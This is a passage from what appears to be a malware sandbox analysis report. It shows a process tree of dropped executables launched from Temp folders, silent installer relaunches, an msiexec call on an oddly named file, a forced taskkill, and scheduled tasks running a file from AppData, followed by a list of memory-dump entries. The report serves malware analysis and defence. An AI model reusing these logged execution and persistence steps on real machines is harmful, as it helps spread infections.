                                                                                                                                                      10⤵
                                                                                                                                                        PID:1480
                                                                                                                                                      • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                        msiexec.exe -y .\PEQQN6S.OU
                                                                                                                                                        10⤵
                                                                                                                                                          PID:2796
                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                    taskkill -f -im "Wed094c47c32b.exe"
                                                                                                                                                    7⤵
                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                    PID:1076
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c Wed09d27135e5a8b3b.exe
                                                                                                                                            3⤵
                                                                                                                                            • Loads dropped DLL
                                                                                                                                            PID:1348
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09d27135e5a8b3b.exe
                                                                                                                                              Wed09d27135e5a8b3b.exe
                                                                                                                                              4⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Loads dropped DLL
                                                                                                                                              PID:816
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-NCUAI.tmp\Wed09d27135e5a8b3b.tmp
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-NCUAI.tmp\Wed09d27135e5a8b3b.tmp" /SL5="$1015E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09d27135e5a8b3b.exe"
                                                                                                                                                5⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Loads dropped DLL
                                                                                                                                                PID:1728
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09d27135e5a8b3b.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09d27135e5a8b3b.exe" /SILENT
                                                                                                                                                  6⤵
                                                                                                                                                    PID:1696
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-6V3N5.tmp\Wed09d27135e5a8b3b.tmp
                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-6V3N5.tmp\Wed09d27135e5a8b3b.tmp" /SL5="$20170,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09d27135e5a8b3b.exe" /SILENT
                                                                                                                                                      7⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      PID:2096
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-6AHV8.tmp\postback.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-6AHV8.tmp\postback.exe" ss1
                                                                                                                                                        8⤵
                                                                                                                                                          PID:2696
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c Wed09b2a8bc4f16cb.exe
                                                                                                                                                3⤵
                                                                                                                                                • Loads dropped DLL
                                                                                                                                                PID:1376
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09b2a8bc4f16cb.exe
                                                                                                                                                  Wed09b2a8bc4f16cb.exe
                                                                                                                                                  4⤵
                                                                                                                                                    PID:1980
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c Wed09abf83d9c2.exe
                                                                                                                                                  3⤵
                                                                                                                                                    PID:668
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09abf83d9c2.exe
                                                                                                                                                      Wed09abf83d9c2.exe
                                                                                                                                                      4⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                      PID:1876
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09abf83d9c2.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zS064998E5\Wed09abf83d9c2.exe" -u
                                                                                                                                                        5⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                        PID:1420
                                                                                                                                              • C:\Windows\system32\taskeng.exe
                                                                                                                                                taskeng.exe {9D5A79F8-FB3A-4C9C-91E7-28DF0A556910} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
                                                                                                                                                1⤵
                                                                                                                                                  PID:3504
                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\ceduaaj
                                                                                                                                                    C:\Users\Admin\AppData\Roaming\ceduaaj
                                                                                                                                                    2⤵
                                                                                                                                                      PID:2856
                                                                                                                                                    • C:\Program Files\Mozilla Firefox\default-browser-agent.exe
                                                                                                                                                      "C:\Program Files\Mozilla Firefox\default-browser-agent.exe" do-task
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1568
                                                                                                                                                    • C:\Windows\system32\taskeng.exe
                                                                                                                                                      taskeng.exe {418F00B4-97A4-47FC-8E90-1D49D23F73D8} S-1-5-18:NT AUTHORITY\System:Service:
                                                                                                                                                      1⤵
                                                                                                                                                        PID:2800
                                                                                                                                                      • C:\Windows\system32\taskeng.exe
                                                                                                                                                        taskeng.exe {BE1061B5-38E6-4CC2-BB38-BD6B01279D14} S-1-5-18:NT AUTHORITY\System:Service:
                                                                                                                                                        1⤵
                                                                                                                                                          PID:2072
                                                                                                                                                        • C:\Windows\system32\taskeng.exe
                                                                                                                                                          taskeng.exe {BA24FC82-F45D-48D8-885A-981C576C4F4E} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
                                                                                                                                                          1⤵
                                                                                                                                                            PID:3164
                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\ceduaaj
                                                                                                                                                              C:\Users\Admin\AppData\Roaming\ceduaaj
                                                                                                                                                              2⤵
                                                                                                                                                                PID:972

                                                                                                                                                            Network

                                                                                                                                                            MITRE ATT&CK Enterprise v6

                                                                                                                                                            Replay Monitor

                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                            Downloads

                                                                                                                                                            • memory/668-235-0x0000000000400000-0x000000000058E000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              1.6MB

                                                                                                                                                              Download

                                                                                                                                                            • memory/668-234-0x0000000000590000-0x000000000071E000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              1.6MB

                                                                                                                                                              Download

                                                                                                                                                            • memory/668-230-0x0000000000770000-0x000000000079A000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              168KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/816-167-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              80KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1036-226-0x00000000002C0000-0x00000000002E9000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              164KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1036-233-0x0000000000400000-0x0000000002BC3000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              39.8MB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1036-228-0x0000000003020000-0x000000000306A000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              296KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1060-213-0x0000000000C30000-0x0000000000C31000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1060-238-0x0000000004BE0000-0x0000000004BE1000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1088-239-0x0000000001FA0000-0x0000000002BEA000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              12.3MB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1088-224-0x0000000001FA0000-0x0000000002BEA000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              12.3MB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1104-231-0x0000000000490000-0x0000000000491000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1104-236-0x0000000004C40000-0x0000000004C41000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1104-215-0x0000000000FA0000-0x0000000000FA1000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1120-54-0x0000000076391000-0x0000000076393000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              8KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1228-254-0x0000000003D80000-0x0000000003D96000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              88KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1324-335-0x00000000020D0000-0x00000000020D2000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              8KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1324-241-0x0000000000170000-0x0000000000171000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1428-85-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              100KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1428-78-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              1.5MB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1428-84-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              1.5MB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1428-82-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              1.5MB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1428-169-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              1.5MB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1428-168-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              572KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1428-81-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              100KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1428-86-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              152KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1428-87-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              152KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1428-75-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              572KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1428-76-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              572KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1428-80-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              1.5MB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1428-79-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              100KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1428-77-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              572KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1428-83-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              100KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1544-225-0x0000000002050000-0x0000000002C9A000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              12.3MB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1656-364-0x000000001B070000-0x000000001B072000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              8KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1684-363-0x000000001B000000-0x000000001B002000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              8KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1696-212-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              80KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1696-324-0x00000000047B0000-0x00000000047B1000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1728-211-0x00000000003E0000-0x00000000003E1000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1824-256-0x0000000002980000-0x0000000002981000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1880-237-0x0000000004B50000-0x0000000004B51000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1880-214-0x0000000000100000-0x0000000000101000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1980-229-0x0000000000340000-0x0000000000349000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              36KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1980-227-0x0000000002D80000-0x0000000002D91000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              68KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/1980-232-0x0000000000400000-0x0000000002BAA000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              39.7MB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2040-240-0x0000000003E90000-0x0000000004054000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              1.8MB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2044-272-0x0000000003B70000-0x0000000003CBA000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              1.3MB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2096-221-0x0000000000260000-0x0000000000261000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2472-246-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              128KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2472-323-0x0000000002790000-0x0000000002791000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2472-244-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              128KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2472-243-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              128KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2548-322-0x0000000002450000-0x0000000002451000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2580-333-0x0000000004D10000-0x0000000004D11000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2652-330-0x0000000004BE0000-0x0000000004BE1000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2708-354-0x0000000000220000-0x0000000000230000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              64KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2708-356-0x00000000002E0000-0x00000000002F2000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              72KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2712-336-0x0000000000340000-0x0000000000363000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              140KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2796-352-0x0000000002610000-0x000000000273B000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              1.2MB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2796-353-0x0000000002740000-0x00000000027F5000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              724KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2828-341-0x0000000004B00000-0x0000000004B01000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2832-337-0x0000000004BE0000-0x0000000004BE1000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              4KB

                                                                                                                                                              Download

                                                                                                                                                            • memory/2908-329-0x00000000002A0000-0x0000000000320000-memory.dmp

                                                                                                                                                              Filesize

                                                                                                                                                              512KB

                                                                                                                                                              Download